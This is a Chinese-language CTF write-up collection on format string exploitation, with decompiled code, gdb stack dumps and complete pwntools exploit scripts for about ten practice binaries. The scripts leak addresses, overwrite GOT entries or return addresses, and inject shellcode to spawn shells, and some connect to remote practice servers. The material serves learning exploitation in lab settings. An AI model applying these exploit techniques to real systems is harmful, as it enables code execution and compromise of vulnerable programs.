c语言格式化字符漏洞,格式化字符串漏洞题目练习
整合一下最近做的格式化字符串題目的練習,把wp給寫一下,方便對總結對這個漏洞的利用套路和技巧。
inndy_echo
保護和arch
[*] '/media/psf/mypwn2/buuctf/inndy_echo/echo'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida分析
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-10Ch]
unsigned int v4; // [esp+10Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
do
{
fgets(&s, 256, stdin);
printf(&s);
}
while ( strcmp(&s, "exit\n") );
system("echo Goodbye");
exit(0);
}
可以看到會無限的打印你輸入的東西,并且有system這個函數,利用思路也就是GOT hijack,把printf函數的got改為system的plt,注意要單次printf多次寫入,改為system的plt后,再傳過去 /bin/sh ,此時就會變成 system(/bin/sh)
gdb調試
gdb-peda$ stack 0x20
0000| 0xffffd250 --> 0xffffd26c ("AAAA\n")
0004| 0xffffd254 --> 0x100
0008| 0xffffd258 --> 0xf7fb25a0 --> 0xfbad208b
0012| 0xffffd25c --> 0x0
0016| 0xffffd260 --> 0xf7ffd000 --> 0x23f40
0020| 0xffffd264 --> 0x80482e7 ("__libc_start_main")
0024| 0xffffd268 --> 0xf63d4e2e
0028| 0xffffd26c ("AAAA\n")
gdb-peda$ fmtarg 0xffffd26c
The index of format argument : 7 ("\%6$p")
確定偏移是7,打算一會寫payload時候需要補齊,就 .ljust 補成0x20的,也就是 offset = 7 + 0x20/4 = 15
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
# io = process('./echo')
io = remote('node3.buuoj.cn',26990)
system_plt = 0x08048400
printf_got = 0x0804A010
def fmt_short(prev,val,idx,byte = 2):
result = ""
if prev < val :
result += "%" + str(val - prev) + "c"
elif prev == val :
result += ''
else :
result += "%" + str(256**byte - prev + val) + "c"
result += "%" + str(idx) + "$hn"
return result
prev = 0
payload = ""
key = 0x08048400
for i in range(2):
payload +=fmt_short(prev,(key >> 16*i) & 0xffff,15+i)
prev = (key >> i*16) & 0xffff
payload = payload.ljust(0x20,'a') + p32(printf_got) + p32(printf_got+2)
raw_input('->')
io.sendline(payload)
io.send('/bin/sh\x00')
io.interactive()
換一種就是用pwntools模塊,面對32位,這種情況還是很好用的:
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
# io = process('./echo')
io = remote('node3.buuoj.cn',26990)
system_plt = 0x08048400
printf_got = 0x0804A010
payload = fmtstr_payload(7,{printf_got : system_plt})
io.sendline(payload)
io.send('/bin/sh\x00')
io.interactive()
[DEBUG] Sent 0x3c bytes:
00000000 10 a0 04 08 11 a0 04 08 12 a0 04 08 13 a0 04 08 │····│····│····│····│
00000010 25 32 34 30 63 25 37 24 68 68 6e 25 31 33 32 63 │%240│c%7$│hhn%│132c│
00000020 25 38 24 68 68 6e 25 31 32 38 63 25 39 24 68 68 │%8$h│hn%1│28c%│9$hh│
00000030 6e 25 34 63 25 31 30 24 68 68 6e 0a │n%4c│%10$│hhn·││
0000003c
可以看一下其生成的payload,把目標地址信息放在開頭,在64位是肯定是不可行的。
jarvisoj_fm
ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+2Ch] [ebp-5Ch]
unsigned int v5; // [esp+7Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(&buf, 0, 0x50u);
read(0, &buf, 0x50u);
printf(&buf);
printf("%d!\n", *(_DWORD *)&x);
if ( *(_DWORD *)&x != 4 )
return 0;
puts("running sh...");
system("/bin/sh");
return 0;
}
十分簡單的題目,檢驗 x 值是否為4,如果是4(數字),就直接給你shell了。
exp
from pwn import *
context.log_level = 'debug'
# io = process('./fm')
io = remote('node3.buuoj.cn',26915)
# io.recv()
payload = p32(0x0804A02C) + '%11$hn'
raw_input('->')
io.sendline(payload)
io.interactive()
winesap_week6
源碼:
#include
int main() {
setvbuf(stdout, 0, _IONBF, 0);
alarm(180);
char str[100];
while(gets(str)) {
printf(str);
}
return 0;
}
需要編譯為64位,這個題比起來第一個也就是沒有了system函數,需要自己泄漏一下libc的base,算出system地址,然后還是GOT hijack就可以了。
EXP
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'debug'
io = process('./fmt1')
elf = ELF('./fmt1')
libc = elf.libc
printf_got = 0x0000601020
io.sendline('%21$p')
io.recvuntil('0x')
libc_base = int((io.recv(12)),16) - 240 -libc.symbols['__libc_start_main']
system_addr = libc_base + libc.symbols['system']
print('leak_libc_base: ' + hex(libc_base))
print('system_addr: ' + hex(system_addr))
def fmt_short(prev,val,idx,byte = 2):
result = ""
if prev < val :
result += "%" + str(val - prev) + "c"
elif prev == val :
result += ''
else :
result += "%" + str(256**byte - prev + val) + "c"
result += "%" + str(idx) + "$hn"
return result
prev = 0
payload = ""
key = system_addr
for i in range(3):
payload +=fmt_short(prev,(key >> 16*i) & 0xffff,12+i)
prev = (key >> i*16) & 0xffff
payload = payload.ljust(0x30,'a') + p64(printf_got) +p64(printf_got+2) + p64(printf_got+4)
io.sendline(payload)
sleep(1)
io.sendline('/bin/sh\x00')
io.interactive()
HITCON-Training-lab8
源碼
#include
int magic = 0 ;
int main(){
char buf[0x100];
setvbuf(stdout,0,2,0);
puts("Please crax me !");
printf("Give me magic :");
read(0,buf,0x100);
printf(buf);
if(magic == 0xda){
system("cat /home/craxme/flag");
}else if(magic == 0xfaceb00c){
system("cat /home/craxme/craxflag");
}else{
puts("You need be a phd");
}
}
編譯為64位。
分析
(這個題目是純粹就是為了練習任意地址寫入的,我這里就直接寫exp拿sheel了。)可以看到當再一次printf,之后程序便停止了,且結束前有puts函數。
思路就是可以GOT hijack put函數的GOT為read函數哪里,讓其call puts函數時返回到read函數,并且在這次printf函數漏洞利用時,也把printf函數的GOT改為system的plt,然后傳入 /bin/sh 即可。
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./craxme')
# io = remote('127.0.0.1',8888)
magic = 0x0000060106C
io.recvuntil(':')
system_plt = 0x04005A0
puts_got = 0x0601018
ret_addr = 0x00400747
printf_got = 0x00601030
key = 0x00400747
key2 = 0x04005A0
def fmt_short(prev,val,idx,byte = 2):
result = ""
if prev < val :
result += "%" + str(val - prev) + "c"
elif prev == val :
result += ''
else :
result += "%" + str(256**byte - prev + val) + "c"
result += "%" + str(idx) + "$hn"
return result
prev = 0
payload = ""
for i in range(3):
payload +=fmt_short(prev,(key >> 16*i) & 0xffff,26+i)
prev = (key >> i*16) & 0xffff
for i in range(3):
payload +=fmt_short(prev,(key2 >> 16*i) & 0xffff,29+i)
prev = (key2 >> i*16) & 0xffff
payload = payload.ljust(0x80+0x20,'a') + flat([puts_got,puts_got+2,puts_got+4,printf_got,printf_got+2,printf_got+4])
io.sendline(payload)
io.interactive()
cacti-pwn3
保護和arch
[*] '/media/psf/mypwn2/ctf_wiki/fmt/cctf/pwn3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida分析
這個題模擬了一個ftp服務。
這里控制的是登陸。進入分析一下:
char *__cdecl ask_username(char *dest)
{
char src[40]; // [esp+14h] [ebp-34h]
int i; // [esp+3Ch] [ebp-Ch]
puts("Connected to ftp.hacker.server");
puts("220 Serv-U FTP Server v6.4 for WinSock ready...");
printf("Name (ftp.hacker.server:Rainism):");
__isoc99_scanf("%40s", src);
for ( i = 0; i <= 39 && src[i]; ++i )
++src[i];
return strcpy(dest, src);
}
用戶名函數,發現對你輸入的東西進行諸位的進行加一。
int __cdecl ask_password(char *s1)
{
if ( !strcmp(s1, "sysbdmin") )
return puts("welcome!");
puts("who you are?");
exit(1);
return puts("welcome!");
}
用戶密碼函數,發現要跟 sysbdmin 進行對比,如果不相等,就直接退出。
(strcmp函數對比兩個字符串時,相等返回0,!0 = 非假 = 真)
所以這個繞過就時sysbdmin 諸位減1即可。
剩下的就是輸入 get put dir ,會進入不同的分支,其中輸入get函數:
int get_file()
{
char dest; // [esp+1Ch] [ebp-FCh]
char s1; // [esp+E4h] [ebp-34h]
char *i; // [esp+10Ch] [ebp-Ch]
printf("enter the file name you want to get:");
__isoc99_scanf("%40s", &s1);
if ( !strncmp(&s1, "flag", 4u) )
puts("too young, too simple");
for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
{
if ( !strcmp(i, &s1) )
{
strcpy(&dest, i + 40);
return printf(&dest);
}
}
return printf(&dest);
}
這個函數是有格式化字符串漏洞的,當你put上去一個文件,它會讓你輸入文件名字和文件內容,然后get這個函數會根據文件名字,來輸出其內容,利用這兩個函數搭配一下就可以實現格式化字符串漏洞的利用了。并且在dir中,其會輸出一個文件的名字,用的是puts函數。然后就有思路利用了:
由于沒有system函數,然后就需要想辦法泄漏一下libc地址,來算出system的函數在libc的地址。
修改puts函數的got為system的地址,然后記得這個文件的名稱是 /bin/sh ,這樣在使用dir調用puts函數時,就可以拿到shell了。
這題比較有趣,有點難在分析這個程序在干嘛,利用思路倒是不難。
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
io = process('./pwn3')
elf = ELF('./pwn3')
libc = elf.libc
s = 'sysbdmin'
key = ''
for i in s:
key+=chr(ord(i)-1)
print(key)
io.sendline(key)
info('---------leak libc_base--------')
io.recvuntil('>')
io.sendline('put')
io.recvuntil('upload:')
io.sendline('1111')
puts_got = elf.got['puts']
io.sendline('%8$s' + p32(puts_got) )
io.recvuntil('>')
io.sendline('get')
io.recvuntil('get:')
io.sendline('1111')
puts_addr = u32(io.recv(4)[:4])
print('puts_add:' + hex(puts_addr))
sys_addr = puts_addr - libc.symbols['puts'] + libc.symbols['system']
io.recvuntil('>')
info('---------hijack puts_got--------')
io.sendline('put')
io.recvuntil('upload:')
io.sendline('/bin/sh;')
payload = fmtstr_payload(7,{puts_got: sys_addr})
io.sendline(payload)
io.recvuntil('>')
io.sendline('get')
io.recvuntil('get:')
info('--------- get shell-------')
io.sendline('/bin/sh;')
io.recvuntil('>')
io.sendline('dir')
io.interactive()
三個白帽 - pwnme_k0
保護和arch
[*] '/media/psf/mypwn2/ctf_wiki/fmt/sgbm_pwnme/pwnme_k0'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
開啟了RELRO,這樣就無法修改got了。
ida分析
程序實現了一個注冊用戶的功能,注冊好后可以來展示用戶信息,修改用戶信息,和退出。其中在展示用戶信息當中,存在格式化字符串漏洞:
int __fastcall sub_400B07(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{
write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
printf(&formata, "Welc0me to sangebaimao!\n");
return printf(&a9 + 4);
}
其中發現其輸出的buf就是你輸入的密碼:
并且還發現其中有個后門函數,會調用system函數給你shell,就可以去修改程序的返回地址,直接返回到這里就拿到shell了。
Gdb調試定位關鍵在這個printf當中,確定一下:
看一下此時的棧情況,輸入的usename可以確定偏移是8,rdi也是指向了存放password的地址。并且發現棧上也有很多棧的地址信息,當第二次運行到這里的時候,這里esp對應的地址信息也是不會變的,所以就可以通過泄漏這里的值來算出ret address,然后修改用戶信息,這下把ret address的point放到棧上,接著就開始修改ret address的值了。
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./pwnme_k0')
# context.clear(arch = 'amd64')
io.recvuntil('lenth:20): \n')
io.sendline('%0006$lx')
io.recvuntil('lenth:20): \n')
io.sendline('11111111')
io.recvuntil('>')
io.sendline('1')
# io.recvuntil('Welc0me to sangebaimao!\n')
stack = int(io.recvline_contains('7f'),16)
print(stack)
ret_add = stack - 0x38
# system_add = 0x04008AA
payload = '%2218c%8$hn'
io.recvuntil('>')
io.sendline('2')
io.recvuntil('lenth:20): \n')
io.sendline(p64(ret_add))
io.recvuntil('lenth:20): \n')
io.sendline(payload)
io.recvuntil('>')
io.sendline('1')
io.interactive()
inndy-echo2
保護和arch
[*] '/media/psf/mypwn2/buuctf/inndy_echo2/echo2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
可以看到開啟了pie,這時候就需要來泄漏一下pie的基地址。
ida分析
void __noreturn echo()
{
char s; // [rsp+0h] [rbp-110h]
unsigned __int64 v1; // [rsp+108h] [rbp-8h]
v1 = __readfsqword(0x28u);
do
{
fgets(&s, 256, stdin);
printf(&s, 256LL);
}
while ( strcmp(&s, "exit\n") );
system("echo Goodbye");
exit(0);
}
代碼是比較簡單的,還是got hijack 就行了。難點也是如何來處理這個pie保護。
gdb 調試
=> 0x555555554984 : call 0x5555555547a0
0x555555554989 : lea rax,[rbp-0x110]
0x555555554990 : lea rsi,[rip+0xfd] # 0x555555554a94
0x555555554997 : mov rdi,rax
0x55555555499a : call 0x5555555547d0
找到關鍵點,然后看一下棧情況:
0192| 0x7fffffffe1c0 --> 0x7ffff7dd2620 --> 0xfbad2087
--More--(25/48)
0200| 0x7fffffffe1c8 --> 0x7ffff7a88947 (<_io_default_setbuf>: cmp eax,0xffffffff)
0208| 0x7fffffffe1d0 --> 0x7ffff7dd2620 --> 0xfbad2087
0216| 0x7fffffffe1d8 --> 0x7ffff7fd8700 (0x00007ffff7fd8700)
0224| 0x7fffffffe1e0 --> 0x555555554810 (<_start>: xor ebp,ebp)
0232| 0x7fffffffe1e8 --> 0x7ffff7a85439 (<_io_new_file_setbuf>: test rax,rax)
0240| 0x7fffffffe1f0 --> 0x7ffff7dd2620 --> 0xfbad2087
發現在 0x7fffffffe1e0 這里就可以泄漏出pie基址了,確定偏移是34。然后剩下的就簡單了,直接ida里面查看下plt和got ,加上以后就得到了真正的
plt和got地址。
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./echo2')
# io = remote('node3.buuoj.cn',28200)
def leak1():
io.sendline('%34$p')
io.recvuntil('0x')
p_bass_addr = int((io.recv(9)+'000'),16)
return p_bass_addr
p_bass_addr = leak1()
print('p_bass_addr ->' + hex(p_bass_addr))
print_got = 0x201020 + p_bass_addr
print('print_got ->' + hex(print_got))
system_plt = 0x790 + p_bass_addr
print('system_plt ->' + hex(system_plt))
def fmt(prev,val,idx,byte = 2):
result = ""
if prev < val :
result += "%" + str(val - prev) + "c"
elif prev == val :
result += ''
else :
result += "%" + str(256**byte - prev + val) + "c"
result += "%" + str(idx) + "$hn"
return result
prev = 0
payload = ""
key = system_plt
for i in range(3):
payload +=fmt(prev,(key >> 16*i) & 0xffff,14+i)
prev = (key >> i*16) & 0xffff
payload = payload.ljust(0x40,'a') + flat([print_got,print_got+2,print_got+4])
# raw_input('->')
io.sendline(payload)
sleep(0.1)
io.sendline('/bin/sh\x00')
io.interactive()
-—
** 接下來的題,都是buf不再棧的上的題目。**
plaidctf2015-ebp
保護和arch
[*] '/media/psf/mypwn2/buuctf/plaidctf2015_ebp/ebp'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
可以看到nx保護是關閉的,可以想辦法利用shellcode。
ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
while ( 1 )
{
result = (int)fgets(buf, 1024, stdin);
if ( !result )
break;
echo();
}
return result;
}
漏洞函數:
int make_response()
{
return snprintf(response, 0x400u, buf);
}
代碼十分簡單,但是這次的漏洞函數變成了snprintf ,時刻注意偏移的計算是針對格式化字符串的偏移。且buf是在bss段上的,已經變得不是我們當初一樣十分的好控制,此時就需要想辦法好好利用棧上原來有的數據。
gdb調試
gdb-peda$ stack 0x20
0000| 0xffffd320 --> 0x804a480 --> 0x0
0004| 0xffffd324 --> 0x400
0008| 0xffffd328 --> 0x804a080 ("AAAA\n")
0012| 0xffffd32c --> 0xf7fd31b0 --> 0xf7e00000 --> 0x464c457f
0016| 0xffffd330 --> 0xf7fe77eb (<_dl_fixup>: add esi,0x15815)
0020| 0xffffd334 --> 0x0
0024| 0xffffd338 --> 0xffffd358 --> 0xffffd378 --> 0x0
0028| 0xffffd33c --> 0x804852c (: mov DWORD PTR [esp],0x804a480)
可以看一下此時的棧情況。可以看到上面有很多可以利用的地址信息,其中最常用的也是ebp鏈 :
0024| 0xffffd338 --> 0xffffd358 --> 0xffffd378 --> 0x0
也就是這一個,第一次可以通過利用0xffffd338(ebp1)這個地址,其指向0xffffd358 (ebp2),然后利用 %xc%4$hhn 就可以修改0xffffd378(ebp3)。
將0xffffd378 改為指向ret address的棧地址 0xffffd33c :
0024| 0xffffd338 --> 0xffffd358 --> 0xffffd33c --> 0x804852c (: mov DWORD PTR [esp],0x804a480)
0028| 0xffffd33c --> 0x804852c (: mov DWORD PTR [esp],0x804a480)
改完也就是這樣的效果。
這樣就又可以通過利用 0xffffd358 (ebp2),其指向 0xffffd33c(ebp3),
接著就算一下0xffffd358 (ebp2)的偏移 y,然后利用 %xc%y$hhn 就可以修改0x804852c(ret address)
這樣攻擊思路也就出來了,可以修改retaddress ,返回在可控的buf 上面放好shellcode ,控制程序跳到shellcode即可。
exp
from pwn import *
import time
context.log_level = 'debug'
context.arch = 'i386'
io = process('./ebp')
# io = remote('node3.buuoj.cn',29994)
buf = 0x0804a080 + 0x40 #0x804a0c0
raw_input('->')
io.sendline('%4$p')
ret_stack_addr = int(io.recv(10),16) - 28
print('leak ret_stack_addr:'+hex(ret_stack_addr))
key1 = int(str(hex(ret_stack_addr))[-2:],16)
key2 = 0xa0c0
payload = '%{}c%4$hhn'.format(key1)
raw_input('->')
io.sendline(payload)
io.recv()
payload = '%{}c%12$hn'.format(key2)
payload = payload.ljust(0x40)
payload += asm(shellcraft.sh())
io.sendline(payload)
io.interactive()
hitcontraining-playfmt
保護和arch
[*] '/media/psf/mypwn2/buuctf/hitcontraining_playfmt/playfmt'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
沒有任何保護。
ida分析
int do_fmt()
{
int result; // eax
while ( 1 )
{
read(0, buf, 0xC8u);
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}
上層有play 和 main函數,一共三層,在第三層的這個函數存在格式化字符串漏洞,讓我們很方便的用ebp鏈來做題。然后,有無限次的觸發這個漏洞的機會。
攻擊思路 :因為沒有開nx保護,也就以為著可以用shellcode進行攻擊。然后還是改返回地址,提前在可控的buf合適的地方擺上shellcode,然后跳上去即可。
gdb分析
如圖所示,利用這個鏈即可。先想辦法把 Oxffffd358 改成 Oxffffd33c :
然后在想辦法把0x8048507 這個返回地址改成我們擺放的shellcode的地址即可。
exp
from pwn import *
import time
context.log_level = 'debug'
context.arch = 'i386'
io = process('./playfmt')
# io = remote('node3.buuoj.cn',26382)
buf = 0x0804A060 + 0x40 #0x804a0a0
offset1 = 6
offset2 = 10
info('---leak stack address---')
io.recvuntil('\n=====================\n')
io.sendline('%10$p')
ret_stack_addr = int(io.recv(10),16) - 28
print('leak ret_stack_addr:'+hex(ret_stack_addr))
info('---change the retaddr---')
key = int(str(hex(ret_stack_addr))[-2:],16)
payload = "%{}c%6$hhn".format(key)
raw_input('->')
io.sendline(payload)
sleep(0.1)
io.recv()
key2 = 0xa0a0
payload = "%{}c%10$hn".format(key2)
payload = payload.ljust(0x40)
payload += asm(shellcraft.sh())
raw_input('->')
io.sendline(payload)
io.recv()
sleep(0.1)
io.sendline('quit')
io.interactive()
記得發出去一次payload,一定需要接受一次,再去發第二個payload,防止沒有完成一個printf,就讓程序接受發送的東西,這樣容易崩潰。
pwnable-fsb
arch和保護
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
開了nx了。
ida分析
for ( k = 0; k <= 3; ++k )
{
printf("Give me some format strings(%d)\n", k + 1);
read(0, buf, 0x64u);
printf(buf);
}
puts("Wait a sec...");
sleep(3u);
可以看到這里控制了可以利用printf函數漏洞的次數,只可以利用4次。
execve(path, &path, 0);
且這一條可以給你拿到shell。
那攻擊思路就可以是改掉puts,sleep的got表,到這個拿取shell的位置就行。
因為這里下面就調用一次sleep,就改它好了,基本不會出問題。
注意一下這里的匯編代碼,其也是讓棧的esp處于不定的狀態。
gdb分析
此時的EBP = 0xffffd228
0000| 0xffffd1e0 --> 0x804a100 ("AAAA\n")
0004| 0xffffd1e4 --> 0x804a100 ("AAAA\n")
0008| 0xffffd1e8 --> 0x64 ('d')
0012| 0xffffd1ec --> 0xf7f5b2a2 ("__vdso_clock_gettime")
0016| 0xffffd1f0 --> 0xf7fe1fc9 (: add ebx,0x1b037)
0020| 0xffffd1f4 --> 0x0
0024| 0xffffd1f8 --> 0xf7ffdad0 --> 0xf7ffda74 --> 0xf7fd3470 --> 0xf7ffd918 --> 0x0
0028| 0xffffd1fc --> 0xffffd278 --> 0xf7e0b018 --> 0x3eab
0032| 0xffffd200 --> 0xffffd2c0 --> 0x804a024 --> 0xf7ed6290 (: cmp DWORD PTR gs:0xc,0x0)
0036| 0xffffd204 --> 0x8048870 ("/bin/sh")
0040| 0xffffd208 --> 0x0
0044| 0xffffd20c --> 0x0
0048| 0xffffd210 --> 0xffffd4a4 --> 0x0
0052| 0xffffd214 --> 0xffffdfce --> 0x656d2f00 ('')
0056| 0xffffd218 --> 0xffffd230 --> 0x0
0060| 0xffffd21c --> 0xffffd234 --> 0x0
0064| 0xffffd220 --> 0x0
0068| 0xffffd224 --> 0x1
0072| 0xffffd228 --> 0xffffd378 --> 0x0
可以看到,因為這個題是main -> fsb ,用戶代碼只有2層函數的調用,看這個ebp chain的時候就有點不方便了,我們沒有一個完整的chain來使用。這個時候,就只能把ebp3 的值,自己寫上去,寫上sleep的got然后再改成拿shell的地址就行了。
整個過程還是需要泄漏一下棧地址esp,因為其棧是變化的。泄露以后,也獲取一下ebp2的值,然后(ebp2- esp )/4 也就確定到了,main的ebp值(ebp3)對應格式化字符串的偏移值。然后再次利用printf函數根據這個偏移來進行改寫sleep got上的值。
exp
from pwn import *
import time
context.log_level = 'debug'
context.arch = 'i386'
io = process('./fsb')
# s = ssh(
# host="pwnable.kr",
# port=2222,
# user="fsb",
# password="guest"
# )
# io = s.run("/home/fsb/fsb")
# io = shell.run("/home/fsb/fsb")
sleep_got = 0x0804a008
info('--------leak stack base:-------')
io.recvuntil('strings(1)\n')
io.sendline('%14$p')
io.recvuntil('0x')
stack_base = int(io.recv(8),16) - 80
print(hex(stack_base))
info('--------leak the point to main ebp:-------')
io.recvuntil('strings(2)\n')
io.sendline('%18$p')
io.recvuntil('0x')
point = int(io.recv(8),16)
print(hex(point))
info('--------write sleep_got to main_ebp :-------')
io.recvuntil('strings(3)\n')
key1 = 0x0804A008
payload = '%' + str(key1) + 'c%18$n'
io.sendline(payload)
info('--------write tag to sleep_got :-------')
tag = 0x869F
offset = (point - stack_base) / 4
payload = "%{}c%'str(offset)'$hn ".format(tag)
io.recvuntil('strings(4)\n')
io.sendline(payload)
io.interactive()
inndy-echo3
保護和arch
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida分析
這一處會讓棧的情況變得無法預測。然后進入hardfmt:
for ( i = 0; i <= 4; ++i )
{
read(0, buff, 0x1000u);
printf(buff);
}
這一處存在漏洞,且往下看感覺沒什么好利用的,沒什么漏洞函數。那攻擊思路就是:改printf的got表,然后在第5次傳過去 /bin/sh 即可。
(這個題目思路還是很簡單的,但是因為這個次數的限制,在實際操作過程中,要充分的利用每一次格式化字符串漏洞。)
gdb分析
因為棧情況不一樣,可以選擇最適合我們利用漏洞的棧空間,這樣做起來會簡單一些。
我自己選擇在偏移在43的時候開始進行分析,想辦法來利用這個漏洞:
仔細看下此時的棧情況 ,然后再次分析下我們的目標 :
泄漏libc基址,計算出system的內存地址。
在棧上構造出printf的got地址和printf的got地址+2的地址(0x0804a014和0x0804a016)
在構造的got地址上,開始寫system地址
由于這個漏洞可以的用的次數最多是4次,所以要盡可能利用每一次。
如上圖所示,很簡單就可以泄漏出libc基址。
但是接下來怎么構造printf的got地址和printf的got地址+2的地址就有點難了。
此時注意圖上前兩個框框,可以發現把第二個框框的兩個地址修改為 第一個框框的棧指針:
gdb-peda$ set *0xffbe5e6c = 0xffbe5d54
gdb-peda$ set *0xffbe5e64 = 0xffbe5d60
這個過程在泄漏目標棧地址以后,也是可以通過一次printf函數寫入2次地址,實現這個棧情況的。
接著就可以構造got地址:
gdb-peda$ set *0xffbe5d60 = 0x0804a016
gdb-peda$ set *0xffbe5d54 = 0x0804a014
然后就可以寫system的內存地址上got了:
0120| 0xffbe5d88 --> 0xffbe5e6c --> 0xffbe5d54 --> 0x804a014 --> 0xf7e0cda0 (<__libc_system>: sub esp,0xc)
這樣再傳過去一下 /bin/sh 即可。
exp
from pwn import *
context.log_level = 'debug'
context.arch ='i386'
import time
elf = ELF('./echo3')
debug = 1
while True:
if debug :
io = process('./echo3')
libc = elf.libc
else:
io = remote('node3.buuoj.cn',25057)
libc = ELF('./libc-2.23.so.i386')
payload = '%43$pA%30$pA%47$p'
io.sendline(payload)
address = io.recvline().strip()
if address[-3:] == '637':
if address[7:10] == '637':
libc_base = int(address[2:10],16) - 247 - libc.symbols['__libc_start_main']
tag1_stack_point = int(address[13:21],16) - 0x118
tag2_stack_point = int(address[13:21],16) - 0x104 - 0x8
system_addr = libc_base + libc.symbols['system']
print('system_addr ->' + hex(system_addr))
print('tag1_stack_point ->' + hex(tag1_stack_point))
print('tag2_stack_point ->' + hex(tag2_stack_point))
break
else :
io.close()
continue
# io =
def fmtshort(prev,val,idx,byte = 2):
result = ""
if prev < val :
result += "%" + str(val - prev) + "c"
elif prev == val :
result += ''
else :
result += "%" + str(256**byte - prev + val) + "c"
result += "%" + str(idx) + "$hn"
return result
def fmtbyte(prev,val,idx,byte = 1):
result = ""
if prev < val :
result += "%" + str(val - prev) + "c"
elif prev == val :
result += ''
else :
result += "%" + str(256**byte - prev + val) + "c"
result += "%" + str(idx) + "$hhn"
return result
printf_got = 0x0804a014
key1 = int(hex(tag1_stack_point)[-4:],16)
key2 = int(hex(tag2_stack_point)[-4:],16)
info('--------change the two points to tag_stack_point:-------')
# raw_input('->')
prev = 0
payload = ""
for i in range(1):
payload +=fmtshort(prev,(key1 >> 16*i) & 0xffff,30+i)
prev = (key1 >> i*16) & 0xffff
for i in range(1):
payload +=fmtshort(prev,(key2 >> 16*i) & 0xffff,31+i)
prev = (key2 >> i*16) & 0xffff
payload = payload + '1111'
raw_input('->')
io.sendline(payload)
io.recvuntil('1111')
info('--------change got_table to printf_got:-------')
raw_input('->')
prev = 0
payload = ""
key3 = 0x14
key4 = 0x16
for i in range(1):
payload +=fmtbyte(prev,(key3 >> 8*i) & 0xff,87+i)
prev = (key3 >> i*8) & 0xff
for i in range(1):
payload +=fmtbyte(prev,(key4 >> 8*i) & 0xff,85+i)
prev = (key4 >> i*8) & 0xff
payload = payload + '2222'
io.sendline(payload)
io.recvuntil('2222')
info('--------change printf_got to system_addr:-------')
raw_input('->')
prev = 0
payload = ""
key5 = int(hex(system_addr)[-4:],16)
key6 = int(hex(system_addr)[2:6],16)
print('key5 -> ' + hex(key5))
print('key6 -> ' + hex(key6))
for i in range(1):
payload +=fmtshort(prev,(key5 >> 16*i) & 0xffff,17+i)
prev = (key5 >> i*16) & 0xffff
for i in range(1):
payload +=fmtshort(prev,(key6 >> 16*i) & 0xffff,20+i)
prev = (key6 >> i*16) & 0xffff
payload = payload + '3333'
io.sendline(payload)
sleep(1)
io.recvuntil('3333')
raw_input('>>>>>>>>>>')
io.sendline('/bin/sh\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
io.interactive()
這個exp的難點在于:
注意去定位到合適的棧結構再去利用
盡量充分利用每一次的printf
單次printf多次寫入
注意每次傳數據過去后,一定要接收一下,并且再一次的數據讀入要防止bss上的緩沖區里面參雜數據的影響。
結論和收獲
這個題教會我一定要 靈活、充分的利用棧上的數據 ,單純的ebp鏈只是適合簡單的情況。還有就是面對這種會有隨機棧情況的題目,盡量要注意本地和遠程的ibc版本、注意環境,這些不一樣導致棧的情況也是不一樣的,導致exp也要有相應的變化。
xman-2019-format
保護和arch
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
ida分析
char *__cdecl sub_80485C4(char *s)
{
char *v1; // eax
char *result; // eax
puts("...");
v1 = strtok(s, "|");
printf(v1);
while ( 1 )
{
result = strtok(0, "|");
if ( !result )
break;
printf(result);
}
return result;
}
這里因為用strtok做處理,只有一次的傳送機會,payload需要用 | 分割格式化字符串來完成每次的printf的漏洞利用,稍微麻煩了一下。
并且存在后門函數:
.text:080485AB push ebp
.text:080485AC mov ebp, esp
.text:080485AE sub esp, 8
.text:080485B1 ; 3: return system("/bin/sh");
.text:080485B1 sub esp, 0Ch
.text:080485B4 push offset command ; "/bin/sh"
.text:080485B9 call _system
.text:080485BE add esp, 10h
.text:080485C1 nop
.text:080485C2 leave
.text:080485C3 retn
這下可以直接改ret address即可。
gdb分析
先觀察一下ebp鏈是否存在 :
是存在的,然后直接利用就好了。
看一下,在第一次改ebp2里面的值: 0xffffd338 時,發現下面的第二個只需要改一個字節即可,然后目標就是改成這個棧地址了:
然后接著利用漏洞,改一下返回地址到后門函數即可。
